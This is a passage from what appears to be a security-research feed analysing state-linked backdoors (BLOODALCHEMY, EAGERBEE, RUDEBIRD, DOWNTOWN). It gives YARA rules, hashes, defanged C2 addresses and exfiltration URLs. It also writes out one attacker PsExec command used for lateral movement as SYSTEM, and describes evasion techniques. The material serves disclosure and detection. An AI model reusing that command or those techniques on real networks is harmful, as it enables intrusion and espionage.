<li>Launch its malware binary <code>Test.exe</code></li>
<li>Uninstall and terminate</li>
<li>Gather host information</li>
</ul>
<p>There are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:</p>
<ul>
<li>Either the malware binary (<code>Test.exe</code>)</li>
<li>the sideloaded DLL (<code>BrLogAPI.dll</code>)</li>
<li>or the main trusted binary (<code>BrDifxapi.exe</code>)</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image8.png" alt="BLOODALCHEMY tool set overwrite commands" /></p>
<p>One command that launches the <code>Test.exe</code> binary in the persistence folder.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image19.png" alt="BLOODALCHEMY command to run the malware executable binary" /></p>
<p>The uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image14.png" alt="Command to uninstall and terminate itself" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image2.png" alt="Uninstall function" /></p>
<p>One host information gathering command: CPU, OS, display, network, etc.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image22.png" alt="Information gathering command" /></p>
<h2>Summary</h2>
<p>BLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.</p>
<p>The backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.</p>
<p>While unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.</p>
<h2>BLOODALCHEMY and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BloodAlchemy.yar">BLOODALCHEMY</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:</p>
<pre><code class="language-yara">BLOODALCHEMY
rule Windows_Trojan_BloodAlchemy_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }
        $a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }

    condition:
        all of them
}

rule Windows_Trojan_BloodAlchemy_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }
        $a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }

    condition:
        any of them
}

rule Windows_Trojan_BloodAlchemy_3 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }

    condition:
        all of them
}

rule Windows_Trojan_BloodAlchemy_4 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }

    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref5961">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>e14ee3e2ce0010110c409f119d56f6151fdca64e20d902412db46406ed89009a</code></td>
<td>SHA-256</td>
<td><code>BrLogAPI.dll</code></td>
<td>BLOODALCHEMY loader</td>
</tr>
<tr>
<td><code>25268bc07b64d0d1df441eb6f4b40dc44a6af568be0657533088d3bfd2a05455</code></td>
<td>SHA-256</td>
<td>NA</td>
<td>BLOODALCHEMY payload</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/photo-edited-05@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Introducing the REF5961 intrusion set]]></title>
            <link>https://www.elastic.co/pt/security-labs/introducing-the-ref5961-intrusion-set</link>
            <guid>introducing-the-ref5961-intrusion-set</guid>
            <pubDate>Wed, 04 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p><strong>Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.</strong></p>
<p>Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.</p>
<p>In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.</p>
<p>The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">here</a> and updated <a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">here</a>). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).</p>
<p>Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image27.jpg" alt="REF5961 intrusion execution flow" /></p>
<p>Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth <a href="https://www.elastic.co/pt/security-labs/disclosing-the-bloodalchemy-backdoor">here</a>.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs is disclosing three new malware families:
<ul>
<li>EAGERBEE</li>
<li>RUDEBIRD</li>
<li>DOWNTOWN</li>
</ul>
</li>
<li>Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns</li>
<li>The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities</li>
</ul>
<h2>EAGERBEE</h2>
<p>EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.</p>
<p>During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/apt27">LuckyMouse</a> (APT27, EmissaryPanda).</p>
<h3>Code analysis</h3>
<p>EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image25.png" alt="EAGERBEE dynamically constructs its Import Address Table" /></p>
<p><strong><em>Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.</em></strong></p>
<p>After resolving all the required Windows APIs, the malware creates a mutex with the string <code>mstoolFtip32W</code> to prevent multiple instances of the malware from running on the same machine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image1.png" alt="Mutex setup" /></p>
<p>The malware gathers key information about the compromised system:</p>
<ul>
<li>The computer's name is obtained using the <code>GetComputerNameW</code> function</li>
<li>The malware retrieves the Windows version by utilizing the <code>GetVersionExW</code> function</li>
<li>A globally unique identifier (GUID) is generated through the <code>CoCreateGuid</code> function</li>
<li>The processor architecture information is acquired using the <code>GetNativeSystemInfo</code> function</li>
<li>The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image19.png" alt="Information collection" /></p>
<p>The sample’s operational schedule is controlled by the string <code>0-5:00:23;6:00:23;</code>. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:</p>
<ul>
<li>active from Sunday(0) to Friday(5)</li>
<li>all hours between 00 and 23</li>
<li>Saturday(6) all hours between 00 and 23</li>
</ul>
<p>This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image3.png" alt="Configuration scheduling" /></p>
<p>The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named <code>c:\users\public\iconcache.mui</code>. This file is decrypted using the first character as the decryption key.</p>
<p>This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure <code>IP:PORT</code>, where the character <code>s</code> is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.
<img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image18.png" alt="Malware’s hardcoded configuration of C2 IPs" /></p>
<p>The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.</p>
<p>A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.</p>
<p>In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.</p>
<p>When operating in active connection mode, the malware attempts to load its configuration from the file <code>c:\users\public\iconcache.mui</code>. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs</p>
<p>The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image16.png" alt="Both forward and reverse connection functionalities are present in the binary" /></p>
<p><strong><em>Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.</em></strong></p>
<p>The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the <code>ProxyEnable</code> registry key within <code>Software\Microsoft\windows\CurrentVersion\Internet Settings</code>. If this key value is set to <code>1</code>, the malware extracts the information in the <code>ProxyServer</code> key.</p>
<p>If no proxy server is set, the malware connects directly to C2.</p>
<p>However, if the proxy settings are defined, the malware also initializes the proxy by sending a <code>CONNECT</code> request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote <code>DONNECT</code> instead of <code>CONNECT</code> in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image12.png" alt="HTTP request string to connect to the setup proxy" /></p>
<p>Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image7.png" alt="Payload execution in the same process" /></p>
<h3>EAGERBEE connection to a Mongolian campaign</h3>
<p>During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE <a href="https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files">samples</a> involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (<code>iconcache.mui</code> for EAGERBEE and <code>iconcaches.mui</code> in the Mongolian campaign). The samples consisted of multiple files and a lure document.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image15.png" alt="Decompressed files inside Mongolian campaign sample" /></p>
<p>While analyzing the Mongolian campaign samples, we found a previous <a href="https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54">webpage</a> (<code>http://president[.]mn/en/ebooksheets.php</code>) hosted under Mongolian infrastructure serving a <a href="https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection">RAR file</a> named <code>20220921_2.rar</code>. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.</p>
<p>The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important <a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">topic</a> in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image5.png" alt="Lure document" /></p>
<p>For this infection chain, they leveraged a signed Kaspersky application in order to sideload a <a href="https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations">malicious DLL</a>. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (<code>www.president[.]mn/upload.php</code>) via cURL. Persistence is configured using a Registry Run Key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image14.png" alt="Hard-coded domain in first sample" /></p>
<p><strong><em>Note: Though it does not contain the .gov second-level domain, <a href="http://www.president%5B.%5Dmn">www.president[.]mn</a> does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to <a href="mailto:oyunbold@datacenter.gov">oyunbold@datacenter.gov</a>[.]mn which appears to be legitimate.</em></strong> Based on string formatting and underlying behavior, this sample aligns with public <a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">reporting</a> from AVAST related to a utility they call DataExtractor1.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image9.png" alt="Sensitive file collection on different drives" /></p>
<p>While we didn’t find a WinRAR archive for the other linked sample, we found this related <a href="https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e">executable</a>. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (<code>https://intranet.gov[.]mn/upload.php</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image13.png" alt="Hard-coded domain in the second sample" /></p>
<p>While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.</p>
<h3>EAGERBEE Summary</h3>
<p>EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.</p>
<p>Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.</p>
<h2>RUDEBIRD</h2>
<p>Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.</p>
<h3>Initial execution</h3>
<p>The backdoor was executed by a file with an invalid signature, <code>C:\Windows\help\RVTDM.exe</code>, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image28.png" alt="PE signature and original filename details of RVTDM.exe" /></p>
<p>The process was executed with the parent process (<code>w3wp.exe</code>) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.</p>
<h3>Lateral movement</h3>
<p>RUDEBIRD used PsExec (<code>exec.exe</code>) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.</p>
<p><code>&quot;C:\windows\help\exec.exe&quot; /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE</code></p>
<h3>Code analysis</h3>
<p>RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the <code>kernel32.dll</code> and <code>ntdll.dll</code> modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image22.png" alt="Resolving imports using TEB/PEB" /></p>
<p>RUDEBIRD uses a straightforward API hashing algorithm with multiplication (<code>0x21</code>) and addition that is <a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">publicly available</a> from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image11.png" alt="RUDEBIRD API Hashing algorithm" /></p>
<p>After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:</p>
<ul>
<li>Hostname</li>
<li>Computer name</li>
<li>Username</li>
<li>IP Address</li>
<li>System architecture</li>
<li>Privilege of the current user</li>
</ul>
<p>For some functions that return larger amounts of data, the malware implements compression using <code>RtlCompressBuffer</code>. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:</p>
<ul>
<li><code>45.90.58[.]103</code></li>
<li><code>185.195.237[.]123</code></li>
</ul>
<p>Strangely, there are several functions throughout the program that include calls to <code>OutputDebugStringA</code>. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image21.png" alt="RUDEBIRD debug string" /></p>
<p>RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to <code>VV.0</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image24.png" alt="RUDEBIRD mutex" /></p>
<p>After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:</p>
<ul>
<li>Retrieve victim’s desktop directory path</li>
<li>Retrieve disk volume information</li>
<li>Perform file/directory enumeration</li>
<li>Perform file operations such as reading/writing file content</li>
<li>Launch new processes</li>
<li>File/folder operations such as creating new directories, move/copy/delete/rename files</li>
<li>Beacon timeout option</li>
</ul>
<h2>DOWNTOWN (SManager/PhantomNet)</h2>
<p>In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">SManager/PhantomNet</a>. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.</p>
<p>SManager/PhantomNet has been attributed to <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">TA428</a> (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.</p>
<h3>Code analysis</h3>
<p>For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published <a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">research</a> by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, <code>GetPluginInfomation</code> (note: <code>Infomation</code> is missing an <code>r</code>). The victimology of REF2924 is consistent with their reported victim vertical and region.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image8.png" alt="DOWNTOWN exports" /></p>
<p>In our sample, the plugin is labeled as “ExplorerManager”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image26.png" alt="GetPlugInfomation export" /></p>
<p>The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image4.png" alt="Strings found inside DOWNTOWN sample" /></p>
<p>In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using  <code>OutputDebugStringA</code>. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image2.png" alt="OutputDebugStringA usage" /></p>
<p>Some functionality observed in the sample included:</p>
<ul>
<li>File/folder enumeration</li>
<li>Disk enumeration</li>
<li>File operations (delete/execute/rename/copy)</li>
</ul>
<p>Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.</p>
<h3>DOWNTOWN Summary</h3>
<p>DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.</p>
<h2>Network infrastructure intersection</h2>
<p>When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.</p>
<h3>Shared network infrastructure</h3>
<p>As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: <code>185.82.217[.]164</code> and <code>195.123.245[.]79</code>.</p>
<p>Of the two, <code>185.82.217[.]164</code> had an expired TLS certificate registered to it for <code>paper.hosted-by-bay[.]net</code>. The subdomain registration for <code>paper.hosted-by-bay[.]net</code> and the TLS certificate were registered on December 14, 2020.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg" alt="paper.hosted-by-bay[.]net TLS certificate" /></p>
<p>As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: <code>45.90.58[.]103</code> and <code>185.195.237[.]123</code>.</p>
<p><code>45.90.58[.]103</code> was used to register the subdomain <code>news.hosted-by-bay[.]net</code>, on December 13, 2020.</p>
<p>Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (<code>paper.hosted-by-bay[.]net</code> and <code>news.hosted-by-bay[.]net</code>) within one day at the domain <code>hosted-by-bay[.]net</code>.</p>
<p><strong><em>Note: While <code>195.123.245[.]79</code> (EAGERBEE) and <code>185.195.237[.]123</code> (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by <code>185.82.217[.]164</code> (EAGERBEE) and <code>45.90.58[.]103</code> (RUDEBIRD).</em></strong></p>
<h3>Domain analysis</h3>
<p>When performing an analysis of the <code>hosted-by-bay[.]net</code> domain, we see that it is registered to the IP address <code>45.133.194[.]106</code>. This IP address exposes two TCP ports, one is the expected TLS port of <code>443</code>, and the other is <code>62753</code>.</p>
<p><strong><em>Note: Port <code>443</code> has a Let’s Encrypt TLS certificate for <code>paypal.goodspaypal[.]com</code>. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.</em></strong></p>
<p>On port <code>62753</code>, there was a self-signed wildcard TLS leaf certificate with a fingerprint of <code>d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59</code> (<code>*.REDACTED[.]mn</code>). This fingerprint is used for one host, <code>shop.REDACTED[.]mn</code>. The 10-year TLS certificate was registered on December 13, 2020.</p>
<pre><code>Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn
</code></pre>
<p><code>.mn</code> is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.</p>
<p>It does not appear that <code>shop.REDACTED[.]mn</code> was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the <code>hosted-by-bay[.]net</code> domain.</p>
<p>As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.</p>
<h3>Defense evasion</h3>
<p>Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by <a href="https://search.censys.io/">Censys.io</a> databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.</p>
<p><code>192.123.245[.]79</code> had TCP port <code>80</code> enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg" alt="192.123.245[.]79 C2 service windows" /></p>
<p><code>185.195.237[.]123</code> had TCP port <code>443</code> enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg" alt="185.195.237[.]123 C2 service windows" /></p>
<p><code>185.82.217[.]164</code> had TCP port <code>443</code> enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg" alt="185.82.217[.]164 C2 service windows" /></p>
<p><code>45.90.58[.]103</code> had TCP port <code>443</code> enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg" alt="45.90.58[.]103 C2 service windows" /></p>
<h3>Network intersection summary</h3>
<p>EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.</p>
<p>When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain <code>hosted-by-bay[.]net</code>), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.</p>
<h2>Summary</h2>
<p>EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.</p>
<p>They all, however, deliver similar tactical capabilities in the context of this environment.</p>
<ul>
<li>Local enumeration</li>
<li>Persistence</li>
